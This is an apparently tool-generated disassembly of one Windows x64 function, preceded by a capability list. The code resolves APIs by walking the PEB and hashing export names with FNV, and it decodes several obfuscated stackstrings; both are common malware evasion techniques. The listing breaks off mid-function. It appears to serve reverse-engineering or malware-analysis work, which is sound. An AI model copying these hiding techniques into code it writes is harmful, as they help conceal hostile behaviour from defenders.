Function at 0x140011fb0
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14012b240]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor r13d, r13d
mov r15d, r13d
mov esi, 0x6848b3d3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400121e8
cmp word [rax + 0x48], r13w
je 0x1400121e8
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x140012083
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0x93dc91f9
cmp r9, rbx
je 0x14001207a
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140012050
cmp r10d, r15d
jne 0x1400121e8
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rbp - 0x50], r8
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x1400121e8
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400121e8
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov qword [rbp - 0x48], r9
mov ecx, dword [rdi + 0x24]
add rcx, r11
mov qword [rbp - 0x58], rcx
mov r10d, dword [rdi + 0x20]
nop dword [rax]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov r14d, dword [r9 + rcx*4]
add r14, r11
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp r14, rdi
jbe 0x1400120fb
lea rcx, [rdi + r8]
cmp r14, rcx
jae 0x1400120fb
mov r12b, 1
jmp 0x1400120fe
xor r12b, r12b
mov r10d, 0x93dc91f9
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x14001213e
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140012110
mov r8, qword [rbp - 0x50]
cmp r10d, esi
je 0x14001215f
test ebx, ebx
mov r9, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x58]
mov r10d, dword [rdi + 0x20]
jne 0x1400120d0
mov rax, qword [rax]
jmp 0x140012000
test r12b, r12b
je 0x1400121f0
mov esi, 0x93dc91f9
mov r15d, esi
movzx edx, byte [r14]
cmp dl, 0x2e
je 0x1400121a7
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r14
movzx edx, byte [r14]
cmp dl, 0x2e
jne 0x140012180
inc r14
movzx edx, byte [r14]
test dl, dl
je 0x1400121d7
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea r14, [r14 + 1]
movzx edx, byte [r14]
test dl, dl
jne 0x1400121b2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140012000
mov al, 0x7d
mov r8b, 0x78
mov r9b, reloc.WS2_32.dll_WSAGetLastError
movzx r10d, al
mov r11b, 0xbf
movzx ebx, r11b
mov dil, 0xb2
mov sil, 0x63
mov r15b, 0x7a
mov r12b, 0x79
xorps xmm0, xmm0
movups xmmword [rbp - 0x2d], xmm0
movzx edx, al
movzx eax, dl
and al, 0xc1
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x38], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xc2
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp - 0x37], cl
movzx edx, r9b
movzx eax, dl
and al, 0xc3
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x36], cl
mov ecx, r10d
movzx eax, r10b
and al, 0xc4
add al, al
sub cl, al
add cl, r10b
mov byte [rbp - 0x35], cl
movzx edx, r11b
movzx eax, dl
and al, 0xc5
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x34], cl
mov ecx, ebx
movzx eax, bl
and al, 0xc6
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp - 0x33], cl
movzx ecx, dil
movzx eax, cl
and al, 0xc7
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp - 0x32], cl
movzx ecx, sil
movzx eax, cl
and al, 0xc8
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp - 0x31], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xc9
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 0x30], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xca
add al, al
sub cl, al
sub cl, r10b
mov byte [rbp - 0x2f], cl
mov al, 0x8c
movzx ecx, al
movzx eax, cl
and al, 0xcb
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x2e], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0xcc
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0xcd
add al, al
sub cl, al
sub cl, r15b
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0xce
add al, al
sub cl, al
sub cl, r12b
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0xcf
add al, al
sub cl, al
sub cl, r8b
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xd0
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0xd1
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0xd2
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0xd3
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0xd4
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0xd5
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0xd6
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0xd8
add al, al
sub cl, al
sub cl, r9b
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
mov eax, ecx
movabs rdx, 0x65b66becf0b212db
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x47
mov byte [rbp - 0x1e], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 9
mov r8b, 0x16
mov r9b, 0x17
mov r10b, 0x5e
mov r11b, 0x5c
mov bl, 0x5b
mov dil, 0xc
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x2e], rcx
movzx edx, al
movzx eax, dl
and al, 0x45
mov r15d, 0x31
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x38], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x46
add al, al
sub cl, al
add cl, sil
mov byte [rbp - 0x37], cl
movzx edx, r9b
movzx eax, dl
and al, 0x47
mov r12d, 0x32
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x36], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x48
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp - 0x35], cl
movzx edx, r11b
movzx eax, dl
and al, 0x49
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x34], cl
movzx ecx, bl
movzx eax, cl
and al, 0x4a
add al, al
sub cl, al
add cl, 0x67
mov byte [rbp - 0x33], cl
movzx edx, dil
movzx eax, dl
and al, 0x4b
mov esi, 0x34
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x32], cl
mov al, 3
movzx ecx, al
movzx eax, cl
and al, 0x4c
add al, al
sub cl, al
add cl, 0x69
mov byte [rbp - 0x31], cl
mov al, 2
movzx edx, al
movzx eax, dl
and al, 0x4d
mov ecx, 0x35
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
mov al, 0xad
movzx ecx, al
movzx eax, cl
and al, 0x4e
add al, al
sub cl, al
add cl, 0x6b
mov byte [rbp - 0x2f], cl
mov r8, qword [rbp - 0x58]
movzx edx, r8b
movzx eax, dl
and al, 0x4f
mov edi, 0x36
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, byte [rbp - 0x2d]
movzx eax, cl
and al, 0x50
add al, al
sub cl, al
add cl, 0x6d
mov byte [rbp - 0x2d], cl
movzx edx, byte [rbp - 0x2c]
movzx eax, dl
and al, 0x51
mov ecx, 0x37
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0x52
add al, al
sub cl, al
add cl, 0x6f
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0x53
mov ebx, 0x38
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x54
add al, al
sub cl, al
add cl, 0x71
mov byte [rbp - 0x29], cl
movzx edx, byte [rbp - 0x28]
movzx eax, dl
and al, 0x55
mov ecx, 0x39
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0x56
add al, al
sub cl, al
add cl, 0x73
mov byte [rbp - 0x27], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x724f932a13bb8b57
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x1d
mov byte [rbp - 0x26], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0xd
mov r8b, 1
mov r9b, 0x30
mov r10b, 0xa
movzx r11d, bl
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov dword [rbp - 0x2b], ecx
movzx edx, al
movzx eax, dl
and al, 0x9a
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x38], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x9b
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp - 0x37], cl
movzx edx, r9b
movzx eax, dl
and al, 0x9c
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x36], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x9d
add al, al
sub cl, al
add cl, 0x67
mov byte [rbp - 0x35], cl
movzx eax, r11b
and al, 0x9e
sub sil, al
add sil, sil
add sil, r11b
mov byte [rbp - 0x34], sil
xor al, al
movzx ecx, al
movzx eax, cl
and al, 0x9f
add al, al
sub cl, al
add cl, 0x69
mov byte [rbp - 0x33], cl
mov al, 0xc9
movzx edx, al
movzx eax, dl
and al, 0xa0
mov ecx, 0x35
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x32], cl
mov al, 0xc9
movzx ecx, al
movzx eax, cl
and al, 0xa1
add al, al
sub cl, al
add cl, 0x6b
mov byte [rbp - 0x31], cl
mov al, 0xc6
movzx ecx, al
movzx eax, cl
and al, 0xa2
sub dil, al
add dil, dil
add dil, cl
mov byte [rbp - 0x30], dil
mov al, 0x39
movzx ecx, al
movzx eax, cl
and al, 0xa3
add al, al
sub cl, al
add cl, 0x6d
mov byte [rbp - 0x2f], cl
mov al, 6
movzx edx, al
movzx eax, dl
and al, 0xa4
mov ecx, 0x37
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
mov al, 7
movzx ecx, al
movzx eax, cl
and al, 0xa5
add al, al
sub cl, al
add cl, 0x6f
mov byte [rbp - 0x2d], cl
mov al, 0x90
movzx ecx, al
movzx eax, cl
and al, 0xa6
sub bl, al
add bl, bl
add bl, cl
mov byte [rbp - 0x2c], bl
movzx ecx, byte [rbp - 0x58]
movzx eax, cl
and al, 0xa7
add al, al
sub cl, al
add cl, 0x71
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0xa8
mov ecx, 0x39
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xa9
add al, al
sub cl, al
add cl, 0x73
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
mov eax, ecx
movabs rdx, 0x8221612d52d285aa
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x36
mov byte [rbp - 0x28], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0x93
mov dl, 0x81
mov r8b, 0x84
mov r9b, 0xf2
mov r10b, 0x99
mov r11b, 0x8d
mov bl, 0x87
mov dil, 0x41
mov sil, 0x9a
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov dword [rbp - 0x2c], ecx
movzx ecx, al
movzx eax, cl
and al, 0xaf
add al, al
sub cl, al
sub cl, 0x1a
mov byte [rbp - 0x38], cl
movzx ecx, dl
movzx eax, cl
and al, 0xb0
add al, al
sub cl, al
sub cl, 0x19
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xb1
add al, al
sub cl, al
sub cl, 0x18
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xb2
add al, al
sub cl, al
sub cl, 0x17
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xb3
add al, al
sub cl, al
sub cl, 0x16
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xb4
add al, al
sub cl, al
sub cl, 0x15
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0xb5
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0xb6
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0xb7
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x30], cl
movzx eax, r11b
mov ecx, eax
and al, 0xb8
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x2f], cl
mov al, 0x8c
movzx ecx, al
movzx eax, cl
and al, 0xb9
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x2e], cl
mov al, 0x73
movzx ecx, al
movzx eax, cl
and al, 0xba
add al, al
sub cl, al
sub cl, 0xf
mov byte [rbp - 0x2d], cl
mov rdx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, cl
and al, 0xbb
add al, al
sub cl, al
sub cl, 0xe
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0xbc
add al, al
sub cl, al
sub cl, 0xd
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0xbd
add al, al
sub cl, al
sub cl, 0xc
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xbe
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp - 0x29], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0xf0de1df2980bc1bf
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x37
mov byte [rbp - 0x28], cl
lea rcx, [rbp - 0x38]
call r14
mov dword [rbp - 0x38], 0xf78f8dfb
mov dword [rbp - 0x34], 0xbdbebcf6
mov dword [rbp - 0x30], 0x6bf8f982
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov word [rbp - 0x1c], ax
mov byte [rbp - 0x1a], al
mov r9, r13
movabs r11, 0xccf6d73b10ec9a31
mov r10, r11
lea rax, [rbp - 0x38]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea r8, [rbp - 0x38]
add r8, r9
movzx edx, byte [r8]
lea rax, [r10 + r8]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r11
add rcx, r9
sub cl, 0x57
mov byte [r8], cl
inc r9
cmp r9, 0x1f
jb 0x140012960
lea rcx, [rbp - 0x38]
call r14
mov al, 7
mov r8b, 0xa
mov r9b, 0x48
mov r10b, 0x3c
mov r11b, 0x57
movzx ebx, r11b
mov dil, 0x50
mov sil, 0x2b
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov dword [rbp - 0x65], ecx
movzx edx, al
movzx eax, dl
and al, 0xec
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x70], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
add cl, 0x79
mov byte [rbp - 0x6f], cl
movzx edx, r9b
movzx eax, dl
and al, 0xee
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x6e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp - 0x6d], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xf0
mov edx, 0x3e
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp - 0x6c], dl
mov ecx, ebx
movzx eax, bl
and al, 0xf1
add al, al
sub cl, al
add cl, 0x7d
mov byte [rbp - 0x6b], cl
movzx edx, dil
movzx eax, dl
and al, 0xf2
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x6a], cl
movzx ecx, sil
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp - 0x69], cl
mov al, reloc.WS2_32.dll_sendto
movzx ecx, al
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp - 0x68], cl
mov al, reloc.WS2_32.dll_setsockopt
movzx ecx, al
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp - 0x67], cl
mov al, 0x82
movzx ecx, al
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 0x66], cl
mov rdx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp - 0x65], cl
movzx ecx, byte [rbp - 0x64]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x64], cl
movzx ecx, byte [rbp - 0x63]
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x63], cl
movzx ecx, byte [rbp - 0x62]
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp - 0x62], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x18e04874de8d79fb
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x74
mov byte [rbp - 0x61], cl
lea rcx, [rbp - 0x70]
call r14
mov al, reloc.WS2_32.dll_sendto
mov r8b, 0x62
mov r9b, 0x16
mov r10b, 0x7a
mov r11b, 0x6a
mov bl, reloc.WS2_32.dll_recvfrom
mov dil, 0x2a
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x2f], rcx
mov dword [rbp - 0x27], ecx
mov word [rbp - 0x23], cx
movzx edx, al
movzx eax, dl
and al, 0x48
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x38], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x37], cl
movzx edx, r9b
movzx eax, dl
and al, 0x4a
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x36], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0x35], cl
movzx edx, r11b
movzx eax, dl
and al, 0x4c
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x34], cl
movzx ecx, bl
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0x33], cl
movzx edx, dil
movzx eax, dl
and al, 0x4e
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x32], cl
movzx ecx, sil
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0x31], cl
mov al, 0xa8
movzx edx, al
movzx eax, dl
and al, 0x50
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x30], cl
mov r8, qword [rbp - 0x58]
movzx ecx, r8b
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 0x2f], cl
movzx edx, byte [rbp - 0x2e]
movzx eax, dl
and al, 0x52
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2e], cl
movzx ecx, byte [rbp - 0x2d]
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 0x2d], cl
movzx edx, byte [rbp - 0x2c]
movzx eax, dl
and al, 0x54
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
add cl, 0x5d
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0x56
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
add cl, 0x5f
mov byte [rbp - 0x29], cl
movzx edx, byte [rbp - 0x28]
movzx eax, dl
and al, 0x58
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
add cl, 0x61
mov byte [rbp - 0x27], cl
movzx edx, byte [rbp - 0x26]
movzx eax, dl
and al, 0x5a
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
add cl, 0x63
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x5c
sub r12b, al
add r12b, r12b
add r12b, cl
mov byte [rbp - 0x24], r12b
movzx ecx, r8b
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
mov eax, ecx
movabs rdx, 0x4096cfe47525fb5e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 8
mov byte [rbp - 0x22], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0xc8
mov r8b, 0xd5
mov r9b, 0xd9
mov r10b, 0xda
mov r11b, 2
movzx ebx, r8b
movzx edi, r10b
mov sil, 0xdb
mov r15b, 0x74
xor r12d, r12d
mov qword [rbp - 0x67], r12
movzx edx, al
movzx eax, dl
and al, 0xce
mov ecx, 0x16
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x70], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xcf
add al, al
sub cl, al
add cl, 0x2d
mov byte [rbp - 0x6f], cl
movzx edx, r9b
movzx eax, dl
and al, 0xd0
mov ecx, 0x17
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x6e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xd1
add al, al
sub cl, al
add cl, 0x2f
mov byte [rbp - 0x6d], cl
movzx edx, r11b
movzx eax, dl
and al, 0xd2
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x6c], cl
mov ecx, ebx
movzx eax, bl
and al, 0xd3
add al, al
sub cl, al
add cl, 0x31
mov byte [rbp - 0x6b], cl
movzx eax, dil
and al, 0xd4
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dil
mov byte [rbp - 0x6a], cl
movzx ecx, sil
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x33
mov byte [rbp - 0x69], cl
movzx edx, r15b
movzx eax, dl
and al, 0xd6
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x68], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
add cl, 0x35
mov byte [rbp - 0x67], cl
movzx edx, byte [rbp - 0x66]
movzx eax, dl
and al, 0xd8
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x66], cl
movzx ecx, byte [rbp - 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x37
mov byte [rbp - 0x65], cl
movzx edx, byte [rbp - 0x64]
movzx eax, dl
and al, dil
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x64], cl
movzx ecx, byte [rbp - 0x63]
movzx eax, cl
and al, sil
add al, al
sub cl, al
add cl, 0x39
mov byte [rbp - 0x63], cl
movzx edx, byte [rbp - 0x62]
movzx eax, dl
and al, 0xdc
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x62], cl
movzx ecx, byte [rbp - 0x61]
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
add cl, 0x3b
mov byte [rbp - 0x61], cl
movzx ecx, byte [rbp - 0x60]
mov eax, ecx
movabs rdx, 0xaf0896320fd901de
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x5e
mov byte [rbp - 0x60], cl
lea rcx, [rbp - 0x70]
call r14
mov al, 0xe1
movzx edx, al
mov r8b, 0x1e
mov r9b, 0xec
mov r10b, 0x1a
mov r11b, 0xe6
mov bl, 0xdd
mov dil, 0xd9
mov sil, 0xdc
mov r15b, 0xe9
mov r12b, 0xe0
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov dword [rbp - 0x2b], ecx
mov word [rbp - 0x27], cx
movzx ecx, al
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 0x38], cl
mov ecx, edx
movzx eax, dl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x30], cl
movzx ecx, r15b
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0x2f], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp - 0x2e], cl
mov al, 0xdf
movzx ecx, al
movzx eax, cl
